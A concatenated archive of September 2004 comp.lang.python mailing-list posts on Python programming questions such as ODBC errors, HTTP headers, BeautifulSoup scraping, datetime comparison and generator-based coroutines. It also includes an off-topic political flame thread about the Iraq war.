michele.petrazzo at TOGLIunipex.it (Michele Petrazzo) Date: Wed, 29 Sep 2004 14:03:21 +0200 Subject: odbc error Message-ID: I'm using odbc on win95 and I have an incomprehensible error after a query: INSERT INTO test VALUES (f1,f2,f3) VALUES ("t1", "t2", "") table test and fields f1,f2,f3 exists :) and I can write to this table. The error is : [Microsoft][Driver ODBC dBase] Too few parameters. Expected 2. What can I do? Thanks, Michele Petrazzo From heikowu at ceosg.de Wed Sep 8 19:30:00 2004 From: heikowu at ceosg.de (Heiko Wundram) Date: Thu, 9 Sep 2004 01:30:00 +0200 Subject: Python Interpreter question. In-Reply-To: References: Message-ID: <200409090130.00953.heikowu@ceosg.de> Am Mittwoch, 8. September 2004 06:46 schrieb Terry Reedy: > Whether the 386 machine > was ever a real machine or whether it was also microcoded, I do not know. All CPUs made by Intel up to and including the Pentium (586) were "real" machines, which ran the bytecode as it came from RAM, without an intermediate layer of microcoding. Only with the wake of the Pentium II (IIRC), the concept of microcode with a (somewhat) RISC core became seasonable in the PC CPU-producing community. Also, IIRC, the AMD K6-* were real CPUs in the sense that they didn't have a microcode layer between the execution and the runtime environment. The first AMD CPU to feature microcode (although it wasn't software changeable, as it was with all Intel CPUs from the PII on; using a little software tool you can change the behaviour of your Pentium to resemble that of a Motorola 68000, except for the endianness issue, now isn't that cool?) was the Athlon, which used microcode not only for the core instruction set, but also to drive its FPU, which is completely different to the standard FPUs found in the Intel CPUs (it is a RISC processor in the true sense of the word). This is also what made the Athlon so easily extensible, as implementing a new set of FPU-instructions (like SSE/MMX/SSE2, etc.) only needed some additional microcode on the chip (which is cheap to write), something that Intel has much more trouble with, as the FPU is decoupled from the CPUs microcode layer, and isn't microcoded at all AFAIK. Anybody correct me if I'm wrong; this is all that I remember from my first semester classes on CPU-design. ;) Heiko. From news at woody.datatailors.com Sun Sep 5 22:01:54 2004 From: news at woody.datatailors.com (Peter van Kampen) Date: Mon, 6 Sep 2004 04:01:54 +0200 Subject: view http info when browsing References: <56d498d9.0409051725.1c7d3258@posting.google.com> Message-ID: In article <56d498d9.0409051725.1c7d3258 at posting.google.com>, ben wrote: > I'm trying to write a web client script in python to log onto a web > page and pull some information off of it. The page has quite a few > behind the scenes http things going on that are making it difficult to > write the python script. I think if I could see the raw http data > that comes to my browser life would be much easier. Does anybody know > of programs that would run alongside my browser and show the http data > that is send back and forth? > > I've looked at plugins like httpwatch and iewatch. httpwatch looks > good but it costs quite a bit of money, and the trial is not fully > functional. iewatch has a free trial, but they don't show cookie > info, which is important. from urllib import urlopen r = urlopen("http://www.python.org/") print r.headers You can also take a look at mozilla firefox and download the excellent webdeveloper extension. It also allows you to view headers and lots of other stuff. Hth, PterK -- Peter van Kampen pterk -- at -- datatailors.com From wjdandreta at att.net Tue Sep 28 18:05:53 2004 From: wjdandreta at att.net (Bill Dandreta) Date: Tue, 28 Sep 2004 22:05:53 GMT Subject: Python game help needed? In-Reply-To: References: Message-ID: <5fl6d.643734$Gx4.406710@bgtnsc04-news.ops.worldnet.att.net> Gerrit wrote: > Look for pygame (http://www.pygame.org/). It's great and crossplatform, > although I think Mac OS 9 support is lagging a bit behind. I did not want to use an external module. I've been trying to do it with a Tkinter canvas. It shouldn't be that difficult to do. When the user clicks the mouse on one letter, that letter become an anchor and as the mouse moves I need to determine which letters intersect the imaginary line connecting the current mouse position to the anchor and draw the bounding box around those letters. The problem is I don't know how to do it using Tkinter canvas events. Bill From adurdin at gmail.com Sun Sep 19 20:35:15 2004 From: adurdin at gmail.com (Andrew Durdin) Date: Mon, 20 Sep 2004 10:35:15 +1000 Subject: how python uses % operator? In-Reply-To: References: Message-ID: <59e9fd3a0409191735699d08c7@mail.gmail.com> On 19 Sep 2004 17:10:55 -0700, Jani Yusef wrote: > Why is it in python -1%8 is equal to 7 , which is correct, of course > but in C -1%8 is given as -1 ? The "Programming FAQ" gives the answer: http://www.python.org/doc/faq/programming.html#id23 From mwilson at the-wire.com Sat Sep 4 10:45:23 2004 From: mwilson at the-wire.com (Mel Wilson) Date: Sat, 04 Sep 2004 10:45:23 -0400 Subject: What about an EXPLICIT naming scheme for built-ins? References: <1gjjxns.siljhqnyugnuN%aleaxit@yahoo.com> Message-ID: In article <1gjjxns.siljhqnyugnuNleaxit at yahoo.com>, aleaxit at yahoo.com (Alex Martelli) wrote: >I agree -- that was one of the several things I liked in Prothon's (RIP) >changes over Python: bang and question allowed as the LAST character of >an identifier (only), with the universal convention of bang meaning >"modifies arguments" (typically the implied argument 'self') Except for solving the issue of sort_differently=sort!=yet_another_sort Regards. Mel. From jmfbahciv at aol.com Thu Sep 2 07:50:48 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Thu, 02 Sep 04 11:50:48 GMT Subject: Xah Lee's Unixism References: <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <4134AC88.56452265@yahoo.com> <4135cea1$0$19726$61fed72c@news.rcn.com> <%hmZc.17354$ni.569@okepread01> Message-ID: <41371be5$0$19723$61fed72c@news.rcn.com> In article <%hmZc.17354$ni.569 at okepread01>, Steve Holden wrote: >jmfbahciv at aol.com wrote: > >> In article , >> red floyd wrote: >> >>>CBFalconer wrote: >>> >>> >>>>Dump Notepad and get Textpad. www.textpad.com. First class. >>>> >>> >>>Let the editor flame wars begin! >>> >>>Get gvim! www.vim.org >> >> >> You think notepad is an editor? You must be young >> and inexperienced in the ways of Real Man's Editing sports. >> >My choice? Definitely TECO, a real programmable editor from the TOPS10 days. > >It would create a file if invoked by the "make" command. If you typed >"make love" it would respond with "...not war?" before beginning the edit. Yup. Definitely a side effect of a pony-tailed hippie protesting the Nam war. /BAH Subtract a hundred and four for e-mail. From carribeiro at gmail.com Mon Sep 20 21:59:39 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Mon, 20 Sep 2004 22:59:39 -0300 Subject: Comparioson of purpose for PyGUI and AnyGUI ??? In-Reply-To: <20040920231839.GA17517@grulic.org.ar> References: <1gkb1xb.13ayfy1rayeymN%aleaxit@yahoo.com> <864d37090409180613135d02de@mail.gmail.com> <20040920231839.GA17517@grulic.org.ar> Message-ID: <864d370904092018597df7481c@mail.gmail.com> On Mon, 20 Sep 2004 20:18:39 -0300, John Lenton wrote: > we chose gtk2 instead of wx because gtk2 feels much more pythonic (to > us, at least). I'd be interested in knowing what you thought of for > the server side of the dhtml; we had thought about using twisted, > because its event-driven approach fits in very nicely with gui > programming. I've checked several web application environments. Just to mention a few: Twisted, Quixote, Webware, Zope, and CherryPy. Zope is in a class of it's own, as it's Twisted (for different reasons). For my particular needs, I've chosen the simplest of all -- CherryPy. The reason was the inclusion of a usable internal HTTP server option. It eases testing, and makes possible to deploy applications almost anywhere -- for example, any reasonably powered Windows workstation can be a server with a surprisingly good performance. The reasoning goes this way: for each business application where performance is a problem, once can count a dozen of others that will have a handful of simultaneous users, and in this scenario the hassle of running Apache+Zope/Webware is just not worth it. Quixote was a close second: it has a clean design, it's light, but the internal server is not as convenient as CherryPy's one. Twisted is just too much for me: it's a jack of all trades and a master of none, or at least that was the impression that a reading of the documentation and other readers experience suggested me. p.s. CherryPy2 is still alpha, but the design rocks, in my opinion. It's as light and pythonic as it can be. p.s. Thanks for the pointer to Cimarron. I'll check it tonight. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From skip at pobox.com Wed Sep 8 14:07:01 2004 From: skip at pobox.com (Skip Montanaro) Date: Wed, 8 Sep 2004 13:07:01 -0500 Subject: Machine identification In-Reply-To: <01f101c495cd$a786cc40$054b12ac@D18SYX41> References: <01f101c495cd$a786cc40$054b12ac@D18SYX41> Message-ID: <16703.19013.851495.649474@montanaro.dyndns.org> Greg> How can I get the name (or ip) of the machine where my python Greg> script is running? I'd like to add it to my log entry. % python2.3 Python 2.3.4 (#1, Jul 19 2004, 16:02:09) [GCC 3.0.1] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import socket >>> socket.gethostname() 'manatee.mojam.com' >>> socket.gethostbyname(socket.gethostname()) '199.249.165.175' Skip From tuanglen at hotmail.com Fri Sep 24 03:56:00 2004 From: tuanglen at hotmail.com (Tuang) Date: 24 Sep 2004 00:56:00 -0700 Subject: Python in a Nutshell for Python 2.4 References: <2Pt4d.5568$sa.2954@trndny05> <1gkkjme.1larcxs9r607kN%aleaxit@yahoo.com> Message-ID: aleaxit at yahoo.com (Alex Martelli) wrote in message news:<1gkkjme.1larcxs9r607kN%aleaxit at yahoo.com>... > Raymond Hettinger wrote: > > > [Tuang] > > > Does anyone (esp. Alex, if you're listening) know if there is an > > > update of Python in a Nutshell coming for Python 2.4? > > > > I would say let the poor guy finish the Py2.4 Cookbook update first; afterall, > > he's only one man. But now there are two Martelli's on the case, so you might > > be in luck ;-) > > I have not yet negotiated with O'Reilly about a 2nd edition of the > Nutshell, but I do suspect they'll be quite happy letting me write one, > _after_, as RH says, the 2nd edition of the Cookbook (we're still > targeting March 2004 for that one). Considering the times involved etc > etc, I believe it is out of the question for the 2nd edition of the > Nutshell to be in print in time for OSCON 2005 (==July 2005), alas. So, > don't hold your breath: I believe it will be _at least_ a year from now > before you can buy the 2nd edition of the Nutshell in bookstores:-(. > That's too bad, but thanks for the update, Alex. The quality of your work makes you the right man for too many jobs, it appears. ;-) BTW, when you said "still targeting Mar 2004" for the Cookbook, were you joking about the nature of the book publishing industry, or was it a typo for a real target date of Mar 2005? From richie at entrian.com Thu Sep 23 07:44:57 2004 From: richie at entrian.com (Richie Hindle) Date: Thu, 23 Sep 2004 12:44:57 +0100 Subject: Parsing HTML In-Reply-To: References: Message-ID: > I want to extract some info from a some specific HTML pages, Microsofts > International Word list (e.g. > http://msdn.microsoft.com/library/en-us/dnwue/html/swe_word_list.htm). I > want to take all the words, both English and the other language and create > a dictionary. so that I can look up About and get Om as the answer. BeautifulSoup (http://www.crummy.com/software/BeautifulSoup/) is perfect for this job: import urllib2, pprint from BeautifulSoup import BeautifulSoup def cellToWord(cell): """Given a table cell, return the word in that cell.""" # Some words are in bold. if cell('b'): return cell.first('b').string.strip() # Return the bold piece. else: return cell.string.split('.')[1].strip() # Remove the number. def parse(url): """Parse the given URL and return a dictionary mapping US words to foreign words.""" # Read the URL and pass it to BeautifulSoup. html = urllib2.urlopen(url).read() soup = BeautifulSoup() soup.feed(html) # Read the main table, extracting the words from the table cells. USToForeign = {} mainTable = soup.first('table') rows = mainTable('tr') for row in rows[1:]: # Exclude the first (headings) row. cells = row('td') if len(cells) == 3: # Some rows have a single colspan="3" cell. US = cellToWord(cells[0]) foreign = cellToWord(cells[1]) USToForeign[US] = foreign return USToForeign if __name__ == '__main__': url = 'http://msdn.microsoft.com/library/en-us/dnwue/html/FRE_word_list.htm' USToForeign = parse(url) pairs = USToForeign.items() pairs.sort(lambda a, b: cmp(a[0].lower(), b[0].lower())) # Web page order pprint.pprint(pairs) -- Richie Hindle richie at entrian.com From deetsNOSPAM at web.de Sat Sep 11 14:11:42 2004 From: deetsNOSPAM at web.de (Diez B. Roggisch) Date: Sat, 11 Sep 2004 20:11:42 +0200 Subject: Mail extraction problem (something's wrong with split methods) References: Message-ID: > Yes, I know that, but I don't understand why it works normally for lists > under 350 bytes? It works perfectly... That certainly has _nothing_ to do with the size of 350 - this snippet works perfect: len(",".join([str(i) for i in xrange(20000)]).split(',')) >> So your splitting code does not work, or your data is malformed - >> without more information, I can't say anything about that, but it seems >> to me the latter is the case. > > Data is actually not malformed, because before splitting it looks normal > (I mean, no ' or double quotes or other strange characters). The splitting > code is the problem, and I don't know how to fix it. I mean, if it would > be wrong, the smaller lists wouldn't work either, but it seems the > problems occur with big lists. As I proved above, it has nothing to do with that. Unless you provide actual data I can't say more. I can only guess that 350 bytes has something to do with line-boundaries or similar stuff - you hit some sort of special case you didn't thing of or such a thing. Do post the data, and I'm sure things will be sorted out soon. -- Regards, Diez B. Roggisch From aleaxit at yahoo.com Fri Sep 17 09:03:16 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 17 Sep 2004 15:03:16 +0200 Subject: Small inconsistency between string.split and "".split References: <864d370904091310411a2cf435@mail.gmail.com> <20040913175927.GB4646@siliconimage.com> <864d370904091311095be3e08c@mail.gmail.com> <4146C179.5000404@livinglogic.de> <1gk9f6p.55wfdn1y3amuxN%aleaxit@yahoo.com> Message-ID: <1gk9iql.flx09uik62nkN%aleaxit@yahoo.com> Michael Hudson wrote: > aleaxit at yahoo.com (Alex Martelli) writes: > > > Having ALL C-coded functions and methods that accept any argument > > accept keyword-style arguments in particular would surely lead to a > > more consistent language, > > [...] > > This whole area isn't particularly pretty. In general it would be Indeed, it isn't. > better to expose more of an extension functions signature *outside* > the function, for efficiency, introspection and even things like ...and consistency with the way Python-coded functions work. > psyco. METH_O, METH_NOARGS are a step in this direction -- but you > can't pass a keyword argument to a METH_O function (not that one would > want to, very often, but it's still a potential inconsistency). Right; it could be remedied by letting a macro otherwise equivalent to METH_O know about that one argument's name. > I wonder what Pyrex does... for: def example(aa, bb): pass it generates (name mangling apart, I'm demangling for legibility): static PyObject* example(PyObject *self, PyObject *args, PyObject *kwds) { PyObject *aa = 0; PyObject *bb = 0; static char *argnames[] = {"aa", "bb", 0}; if(!PyArg_ParseTupleAndKeywords(args,kwds,"OO",argnames,&aa,&bb)) return 0; etc, etc, and METH_VARARGS|METH_KEYWORDS in the PyMethodDef array. IOW, nothing strange, and all correct, it seems to me. Alex > > My thoughts on this area, like many others, can probably be summarized > as "I hate C". > > Cheers, > mwh From tzot at sil-tec.gr Mon Sep 20 09:18:08 2004 From: tzot at sil-tec.gr (Christos TZOTZIOY Georgiou) Date: Mon, 20 Sep 2004 16:18:08 +0300 Subject: Electronic voting feasibility References: <653b7547.0409181444.41e0d131@posting.google.com> Message-ID: On 18 Sep 2004 15:44:06 -0700, rumours say that pmaupin at speakeasy.net (Patrick Maupin) might have written: [Andrew in reply to Greg Steffensen] >> What is "sound cryptography"? It seems too close to me to >> "sound science". [Patrick] >I'm not sure what the problem is here -- obviously, you'll need to >know something about the physics of acoustics in order to use pressure >waves for encryption, so I think "sound cryptography" _should_ be >really close to "sound science." :) ISTM that Andrew (and Greg, initially) used the word "sound" as an adjective (~ "firm", "secure") and not as a noun ("sound" as what we hear). So either you understood "sonic cryptography" or I missed the joke :) -- TZOTZIOY, I speak England very best, "Tssss!" --Brad Pitt as Achilles in unprecedented Ancient Greek From fumanchu at amor.org Fri Sep 3 00:14:39 2004 From: fumanchu at amor.org (Robert Brewer) Date: Thu, 2 Sep 2004 21:14:39 -0700 Subject: compiling to python byte codes Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EB2@exchange.hqamor.amorhq.net> Leif K-Brooks wrote: > Jason Lai wrote: > [talking about compiling some language besides Python to > Python bytecode] > > What about generating an Abstract Syntax Tree > (compiler.ast) and using > > the compiler module (compiler.pycodegen) to write the bytecode? > > That would certainly be possible, but it seems to me like it might be > easier to generate Python code. You're using Python logic if > you use its AST, after all. In my limited experience, using compiler.ast ends up being *very* slow due to all of the tuple packing and unpacking. On the other hand, I personally find high-level code-generation to be a rat's nest better left unexplored. I'd recommend the OP just write a prototype MA-compiler and MA-interpreter (in Python), shake out the design issues, then move it to C _if_ it's too slow. My 2 cents, Robert Brewer MIS Amor Ministries fumanchu at amor.org From pmaupin at speakeasy.net Tue Sep 14 00:51:25 2004 From: pmaupin at speakeasy.net (Patrick Maupin) Date: 13 Sep 2004 21:51:25 -0700 Subject: struct->bit access References: Message-ID: <653b7547.0409132051.1f02fa79@posting.google.com> > def extract_bit_range_value(data, low_bit, high_bit=None): > if high_bit == None: > high_bit = low_bit > > high_bit += 1 > return ((int(data) & ( ~(-1L << (high_bit - low_bit) ) << low_bit > )) >> low_bit) I ususally do something similar, but a bit simpler: def extract_bit_range_value(data, low_bit, numbits = 1): return (data >> low_bit) & ((1 << numbits)-1) Regards, Pat From davecook at nowhere.net Mon Sep 20 22:25:11 2004 From: davecook at nowhere.net (Dave Cook) Date: Tue, 21 Sep 2004 02:25:11 GMT Subject: python is going to die! =( References: <278de0e.0409201131.57baf7f9@posting.google.com> <414f61bf$0$29449$636a15ce@news.free.fr> Message-ID: In article , Andrew Dalke wrote: > bruno modulix wrote: >> Well, you forgot emacs, the best Python IDE around - and it's free... > > Speaking of which, is there any way to get tab-completion > (intellisense?) behaviour in emacs? Or in the interactive > interpreter? It's not like intellisense, but you can use M-/ to find matching symbols in a buffer, and C-M-/ to find them from all buffers. Emacs JDE has more sophisticated code completion for Java, so it's possible to do: http://jdee.sunsite.dk/ Dave Cook From gregm-news at toadmail.com Tue Sep 14 18:40:14 2004 From: gregm-news at toadmail.com (Greg Menke) Date: 14 Sep 2004 18:40:14 -0400 Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> Message-ID: Chuck Dillon writes: > Greg Menke wrote: > > Chuck Dillon writes: > > > >>Antony Sequeira wrote: > >> > >> > >>>Chuck Dillon wrote: > >>>How is that related to Saqqddam Hussqqqqqain being a jackass and us > >>>spending 100 or whatever billions on removing him and having 1000+ > >>>of Americans + unknown number of Iraqqqqqis getting killed. How does > >>>that help avoid > >>>9 qqqq 11 or are you confused between Iraqqqqqis and Saudqqqqis ? > >> > >>If you reread the post that you responded to you will see it has > >>nothing to do with Iraq. > >> > >>However, to answer your question: How does regime change in Iraq help > >>avoid another 9/11... > >> 1) It removes one of the states that might consider sponsing > >>such a future attach. > > Wouldn't it have made more sense to invade Saudi Arabia? Thats where > > the terrorist money and terrorist leadership is from. Iraq is chump > > change on that account- heck, even Iran or Syria would've made a much > > better target on this basis. Or are we such bullies that we'll pick > > the weakest kid to beat up to show how strong we are? > > Please try and follow the trend of the thread you respond to. I did > not address whether or not regime change in Iraq was an optimal > move. I'm responding to the question posed, see above for what it was. > > Regardless of how we got where we are there are arguably benefits to > the "war on terror". That doesn't mean you should miopically focus on > them as the sole rationale for regime change in Iraq. See the various > U.N Security Counsil resolutions for the primary rationale. Also, see > the reports from Blix et.al. that point out the lack of cooperation on > the part of the Iraqi government. I still fail to see why invading Iraq has anything to do with "war on terror". If the goal is to fight terror (laudable), then why are we not invading the countries that actually sponsor it? Afganistan was the right step- but who the hell cares if Iraq "obeyed" the resolutions? Saddam's regime was wasting away on its own. At some point, someone was going to get lucky and off him- and then the Islamic fundamentalist state that Iraq seems to want to become would start up with the west as investors, not invaders. > >> 6) It underscores that 9/11 should go into the "bad idea" > >>category for future planners of Islamic extremist operations. > > Afganistan taught that. > > Hence my use of the qualifier "underscores". > But you keep proposing that Iraq is also underscoring the same point. What it means to me is that the US will attack the weakest, easiest opponent- but not really take over. Instead we'll fool around trying to be civilized- not much deterrent value there. If the goal is really to change regimes, then you go in heavy, crack skulls & massacre as required and then occupy for decades like the Soviets had to do in the Balkans. THAT would make the impression you seem to want. If we're unwilling to be the butchers we appropriately condemn others for being, then we shouldn't be playing games invading and occupying other countries. Iraq is a frigging joke- the most powerful military in the world has every spare soldier both regular and reserves, occupying essentially a 3rd world country, yet is subject to "no go zones" and is forced to allow organized resistance to simply walk home & start fighting again? This is a textbook case of how to take on a superpower and win, taught directly to the people we're trying to fight. > > Iraq teaches the Islamic world that we're > > crazy. > > By "we" you are referring to the some 40 nations who have contributed > to the effort right? > Each nation with their couple hundred or fewer people? Don't make me laugh. This one is the US and the UK and whatever bits & pieces we could muscle out of all the countries that owe favors. Last time around we had an actual coalition this one is pretty much only PR. Gregm From ksenia at ksenia.nl Tue Sep 7 10:42:52 2004 From: ksenia at ksenia.nl (Ksenia Marasanova) Date: Tue, 07 Sep 2004 17:42:52 +0300 Subject: Question: tools for business apps development In-Reply-To: <864d370904090606465938fea5@mail.gmail.com> References: <1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com> <864d370904090606465938fea5@mail.gmail.com> Message-ID: <32ABE955-00DC-11D9-A2ED-000A957911BC@ksenia.nl> > And web-based apps are thought to be limited, not interactive > or responsive enough for the job (the dependence on heavy Javascript > programming doesn't help it either). > One of possibilities is to use Flash (in a browser) for GUI. I am thinking about using it for some project that also needs more interactivity: Flash for frontend, Python for backend (Web service using XMLRPC). You can use Flash IDE for fast GUI builing, and code the flow of your GUI in Action Script files, using your favorite editor. The sad part of this approach is that you can't program everything in Python. The nice part is the maintainability (no install, automatically download of the latest version). But these are my thoughts... I wonder what people say who actually did it :) Ksenia. From duncan.booth at invalid.invalid Wed Sep 22 03:27:31 2004 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 22 Sep 2004 07:27:31 GMT Subject: Add other class attributes to HTMLgen tags? References: Message-ID: adeger wrote: > For use of CSS how do I do something > like insert a 'class' attribute into an > HTML tag like: > >
> > I've really made a good faith effort to find this > in the documentation and elsewhere on the web with > no luck. > The HTMLgen library lowercases all attribute names, so you should be able to use an attribute name such as 'Class' or 'CLASS' without problems: table = TableLite(Class='standard') From alexander.hoffmann at netgenius.de Mon Sep 6 10:51:09 2004 From: alexander.hoffmann at netgenius.de (Alexander Hoffmann) Date: Mon, 6 Sep 2004 16:51:09 +0200 Subject: python memory analysis In-Reply-To: <20040906150548.GL2220@zoran.com> References: <200409061457.50722.alexander.hoffmann@netgenius.de> <20040906150548.GL2220@zoran.com> Message-ID: <200409061651.09797.alexander.hoffmann@netgenius.de> On Monday 06 September 2004 17:05, Miki Tebeka wrote: Hi Miki, Thanks for your reply ! > Hello Alexander, > > > I wrote a deamon like program in python and after a while I realized that > > it consumes more and more memory over time. So my question is: How to > > debug memory leaks in python ? > > Try the gc module. You probably mean to utilize gc.get_objects and build some kind of statics upon it, don't you ? Ok, so this means there is indeed no tool which will help me with that ? :-( -alex From jgrahn-nntq at algonet.se Tue Sep 21 17:51:37 2004 From: jgrahn-nntq at algonet.se (Jorgen Grahn) Date: Tue, 21 Sep 2004 21:51:37 +0000 (UTC) Subject: OT: regex to find email References: Message-ID: On Tue, 21 Sep 2004 10:03:03 -0500, Josh Close wrote: > I've been trying to find a good regex to parse emails, but haven't > found any to my liking. I basically need to have > > ( r'[a-z0-9\.\-\_]@[a-z0-9\.\-\_]', re.IGNORECASE ) > > but the first part can't start with .-_ and the last part has to have > a . in it (first/last being before/after the @). I've seen no references to RFC 2822 in this thread ... please note that what all these regexes catch is unlikely to be exactly the set of all valid RFC 2822 addresses. A quick look suggests (among other things) that addresses may start with '-' or '_' and /lots/ of other characters, and the domain part does not (of course) need to contain a '.'. People get more than annoyed when some input form tells them that their email address is invalid ... /Jorgen -- // Jorgen Grahn R'lyeh wgah'nagl fhtagn! From sholden at holdenweb.com Wed Sep 15 08:43:02 2004 From: sholden at holdenweb.com (Steve Holden) Date: Wed, 15 Sep 2004 08:43:02 -0400 Subject: comparing datetime with date In-Reply-To: References: <1f7befae04091414167f3b37d4@mail.gmail.com> Message-ID: Andrew Durdin wrote: > On Tue, 14 Sep 2004 17:16:58 -0400, Tim Peters wrote: > >>[Donnal Walter] >> >>>I was very surprised to discover that >>> >>> >>>>>>import datetime >>>>>>x = datetime.date(2004, 9, 14) >>>>>>y = datetime.datetime(2004, 9, 14, 6, 43, 15) >>>>>>print x == y >>> >>>True >>> >>>How can these two objects be considered equal? >> >>They should not be. Please open a bug report. The problem is due to that >>datetime.datetime is a subclass of datetime.date: > > > Why should this be considered a bug? In my conception, a datetime.date > covers the whole range of times within the date, so that this equality > makes sense. It also allows for intuitive inequality comparisons > between datetime.datetime and datetime.date. > Well you do, of course, allow that this appeals to *your* intuition, but it seems much more reasonable to me to assume that a date, when compared to a datetime, should specify a single canonical time (such as midnight at the start of that date). > To make that more clear, it makes sense to me that comparisons between > datetime.datetime and datetime.date should only compare the date part, > and those between datetime.datetime and datetime.time should only > compare the time part. This latter however throws an exception; I > infer from that that the 'pythonic' way is to explicitly make a > datetime.date or datetime.time from the datetime.datetime before > comparing. So I guess I've answered my own question :) Comparing a datetime and a time makes little sense to me, and I'd prefer to be forced to extract the time explicitly from the datetime before comparison. A time specifies a point during *any* day, a datetime specifies a single point in the time continuum. When all's said and done I guess this thread mostly highlights the unsatisfactory aspects of intuition when used as a basis for agreement on complex software specifications :-) regards Steve From john at grulic.org.ar Sun Sep 5 10:23:07 2004 From: john at grulic.org.ar (John Lenton) Date: Sun, 5 Sep 2004 11:23:07 -0300 Subject: Module name conflict with standard library In-Reply-To: <87k6v9o8cg.fsf@news2.ososo.de> References: <87k6v9o8cg.fsf@news2.ososo.de> Message-ID: <20040905142307.GC3007@grulic.org.ar> On Sun, Sep 05, 2004 at 02:41:35AM +0200, Felix Wiemann wrote: > Hi! > > I want to create a module myproject.ui.curses, which needs to import the > curses library. > > However, if I just write ``import curses``, the module imports *itself* > instead of the standard library's curses module. > > Is there any (reliable) way to access a module of the standard library > if the names conflict as in this case? not now. I think your best bet is to call your module 'Curses'. -- John Lenton (john at grulic.org.ar) -- Random fortune: Civilization is the limitless multiplication of unnecessary necessities. -- Mark Twain -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 196 bytes Desc: Digital signature URL: From google at prodigycomputing.com Tue Sep 7 06:10:44 2004 From: google at prodigycomputing.com (Paul Keating) Date: 7 Sep 2004 03:10:44 -0700 Subject: Type Library for Python COM Server Message-ID: <51f8958a.0409070210.36184c2c@posting.google.com> I have written a Python COM server, which works fine, but VB/C# users expect to see the server in a drop-down list of objects, and they don't. I suspect that this is because there isn't a type library for it. Is there an easy way to create one or do I have to code one up in IDLE by hand? From groups.google at gnosis.cx Sat Sep 18 14:21:07 2004 From: groups.google at gnosis.cx (David Mertz, Ph.D.) Date: 18 Sep 2004 11:21:07 -0700 Subject: Microthreads without Stackless? References: <18282ecb.0409151755.47b691e2@posting.google.com> <8cf9f521.0409162213.105d321e@posting.google.com> <8cf9f521.0409171009.142a3fcd@posting.google.com> Message-ID: <8cf9f521.0409181021.6db6a3e4@posting.google.com> Bryan Olson wrote in message news: > I'm genuinely surprised to find we disagree on what constitutes > coroutine or micro/weightless threads. I really did read > David's articles, and I thought I was with him on that. The > article he cited brings up the distinction "Coroutines And Semi- > coroutines", and I think it implies that full co-routines are > not limited to a single level. Well, a couple things. The article on (semi-)coroutines is really a different topic than the one on "weightless threads." They both take advantage of Python generators. And they both involve a scheduler. But there are differences between the techniques... and still greater differences between the motivations that would prompt the use of each. Unfortunately, Bryan started the discussion with a claim like "weightless threads aren't *really* coroutines"... to which the answer is "Duh!" Weightless threads basically amount to "cooperative multitasking." Unlike in actual Stackless (or with "weighty" OS threads), the weightless thread schedulers/technique depends every "thread" (procedure) acting nice, and giving control back to the scheduler without too much delay. Some older OS's were written this way, FWIW, but those had obvious problems. "Procedure" is a somewhat neutral term for "a collection of instructions"... which is what all these things are at an abstract level. But when a weightless thread gives control back to its parent (the scheduler), it doesn't provide any advice on which procedure/thread should get attention next. If the scheduler is written sensibly, every procedure that wants it gets some attention fairly soon. My article just showed a simple round-robin scheduler, but I mention that it wouldn't be hard to add priorities to give some procedures more attention than others. Either way, the scheduler grants the CPU time to the procedure (but each one is responsible for not hogging that time once it gets it). A coroutine is different. It's just a GOTO, really, but one where each procedure contains a memory of where it left off. That is, the procedure is resumable in its middle, rather than always starting again at the top (as in a regular function). Under my coroutine/state-machine scheduler, each procedure explicitly states where it wants to branch to. Not an arbitrary line within an arbitrary procedure; but simply to the "last line processed" in an arbitrary procedure. At the Python Cookbook site, Bernhard Mulder unfortunately posted a recipe that he called "coroutines", when what it really does is implement weightless threads. The recipe itself is fine, but I hate to see people mislead on the nomenclature: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/300019 Now it's true that Python syntax -in itself- only implements semi-coroutines. That is, you can branch INTO any procedure you want, but the branch OUT OF that procedure is still stack like... i.e. to the caller only. What my article points out (which a lot of people did not realize when Python generators were new) is that semi-coroutines are actually fully general. That is, while it is not built into the *syntax*, you can perfectly well implement full coroutines using semi-coroutines and a little extra Python code (a scheduler). As both Bryan and some other folks upthread point out, *FLAT* coroutines don't mix well directly with a callstack. There are things you can do that use both, but reasoning about your programs becomes more difficult, and you probably need extra code. But you REALLY don't lose anything by moving an explicit callstack out of a function/generator object, and into the overall flow of your program. Here's a perfectly traditional function-based callstack: def grandma(): mom() def mom(): daughter() def daughter() return grandma() And here's how the flow between *procedures* happens: grandma -> mom -> daughter -> mom -> grandma -> EXIT Obviously, if each function did something other than return and call each other, the program would be more exciting. You can bring about the same flow using generators: from __future__ import generators def grandma(): print "grandma start" MOM.next() print "grandma exit" yield None def mom(): print "mom start" DAUGHTER.next() print "mom exit" yield None def daughter(): print "daughter start" print "daughter exit" yield None GRANDMA, MOM, DAUGHTER = grandma(), mom(), daughter() GRANDMA.next() You can see from the new debugging messages that the flow is identical among procedures, as before. But if some of these had multiple yields (or yields in a loop) you could also call GEN.next() repeatedly to resume context. Now you can perfectly well get callstack-like flow using the coroutines described in: http://gnosis.cx/publish/programming/charming_python_b5.html The only change is that you always "yield to" a given procedures, rather than either call it, or call its .next() method. Of course, lots of other flows are possible other than stack-like. But you are not prohibited from stack-like flow (example typed without testing, forgive any minor typo): from __future__ import generators cargo = None def grandma(): yield (MOM, cargo) def mom(): yield (DAUGHTER, cargo) yield (GRANDMA, cargo) def daughter(): yield (MOM, cargo) GRANDMA, MOM, DAUGHTER = grandma(), mom(), daughter() scheduler(GRANDMA) Btw. This implies a slightly different version of the 